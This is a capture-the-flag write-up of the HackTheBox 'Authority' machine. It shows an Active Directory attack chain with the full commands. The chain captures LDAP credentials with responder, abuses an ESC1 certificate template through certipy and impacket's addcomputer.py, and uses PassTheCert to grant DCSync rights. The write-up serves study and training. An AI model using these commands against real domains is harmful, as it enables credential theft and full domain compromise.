8.2 KiB
HackTheBox - Authority
NMAP
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-09-07 19:35:01Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2023-09-07T19:36:12+00:00; +3h59m59s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Issuer: commonName=htb-AUTHORITY-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-08-09T23:03:21
| Not valid after: 2024-08-09T23:13:21
| MD5: d49477106f6b8100e4e19cf2aa40dae1
|_SHA-1: ddedb994b80c83a9db0be7d35853ff8e54c62d0b
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2023-09-07T19:36:12+00:00; +4h00m00s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Issuer: commonName=htb-AUTHORITY-CA
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2023-09-07T19:36:12+00:00; +3h59m59s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Issuer: commonName=htb-AUTHORITY-CA
| Public Key type: rsa
| Public Key bits: 2048
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8443/tcp open ssl/https-alt
|_http-title: Site doesn't have a title (text/html;charset=ISO-8859-1).
|_ssl-date: TLS randomness does not represent time
|_http-favicon: Unknown favicon MD5: F588322AAF157D82BB030AF1EFFD8CF9
Enumerating smb shares, we'll see two shares, Development and Department Shares
From Development shares, we'll get Ansible directory which further has directories for LDAP and ADCS
So we'll just recursively download all files
From LDAP/TODO.md there's a note about changing the admin's LDAP password
We can find the ansible vault encrypted password PWM/defaults/main.yml
To decrypt these, we need the vault password so generating the hash of any of them them with ansible2john.py
With john we can crack the hash with the password !@#$%^&*
The account points towards PWM which is is an open source password self-service application for LDAP directories. We can access the application on port 8443
On logging in, it shows an error about not able to reach the ldap directories
However we can login to configuration manager
Here we can access the configuration, download the existing configuration and also to upload one as well
We can try adding our own IP to LDAP and run responder to see if it's reaching to our host so we may be able to capture the account with which it's authentication on LDAP
After uploading this file, starting responder we'll receive clear text password for svc_ldap user
responder -I tun0 -w -d -v
Through crackmapexec, we can verify if this user can read department share
Retrieving these directories recursively but all of these directories were empty
On enumerating users, we don't get to see any users other than administrator and svc_ldap
Since there was ADCS directory, which points to Active Directory Certificate Services, that means that server role might be installed, we can enumerate vulnerable certificate templates with certipy
certipy find -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!' -vulnerable -stdout -dc-ip 10.10.11.222
This `CorpVPN` template shows that it has `EnrolleSuppliesSubject` enable meaning that `SAN` (Subject Alternative Name) is enabled which allows to request certificate on behalf other user, in other words impersonating any domain user
EKU (Extended Key Usage) is set to Client Authentication which defines the purpose of this template which can be used to authenticate on any of domain server and lastly we have the enrollment rights for domain computers allowed which is known as ESC1 certificate template attack
If we can add a machine account, we can request for administrator's certificate, so verifying if we have machine quota available
Quota of 10 is available, adding a machine account with addcomputer.py from impacket
addcomputer.py -method LDAPS -dc-ip 10.10.11.222 -computer-pass P@ass12345 -computer-name UwU authority.htb/svc_ldap:'lDaP_1n_th3_cle4r!'
After adding the machine account, we can request for administrator's certificate
certipy req -c 'AUTHORITY-CA' -u 'UwU$' -p 'P@ass12345' -template 'CorpVPN' -upn 'administrator' -dc-ip 10.10.11.222
On retrieving the NThash it failed with an error KDC_ERR_PDATA_TYPE_NOSUPP
The reason we couldn't get the hash through this way is because of DC not supporting the PKINIT authentication which is a pre-authentication allowing to retrieve either TGT or NTHash, reason being certificate doesn't have Smart Card Logon EKU installed, having a read on this article, it's still possible to abuse this since we have the administrator's certificate we can do the following attacks
- Add our created machine account to DC's
msDS-AllowedToActOnBehalfOfOtherIdentityproperty to perform resource based delegationRCBD - Modify account's password
- Granting the low privileged user DCSync rights
This can be achieved through PassTheCert https://github.com/AlmondOffSec/PassTheCert/tree/main/Python
The scripts needs the key and certificate separately, through certipy we can extract them
certipy cert -pfx administrator.pfx -nokey -out administrator.crt
certipy cert -pfx administrator.pfx -nocert -out administrator.key
Here I am going with granting svc_ldap DCSync rights
python3 /opt/PassTheCert/PassTheCert.py -action modify_user -crt administrator.crt -key administrator.key -target svc_ldap -elevate -domain authority.htb -dc-ip 10.10.11.222
Now logging using `evil-winrm` on WinRM
References
- https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html?ref=7ms.us
- https://7ms.us/7ms-532-tales-of-pentest-pwnage-part-39/
- https://posts.specterops.io/certificates-and-pwnage-and-patches-oh-my-8ae0f4304c1d
- https://github.com/AlmondOffSec/PassTheCert/tree/main/Python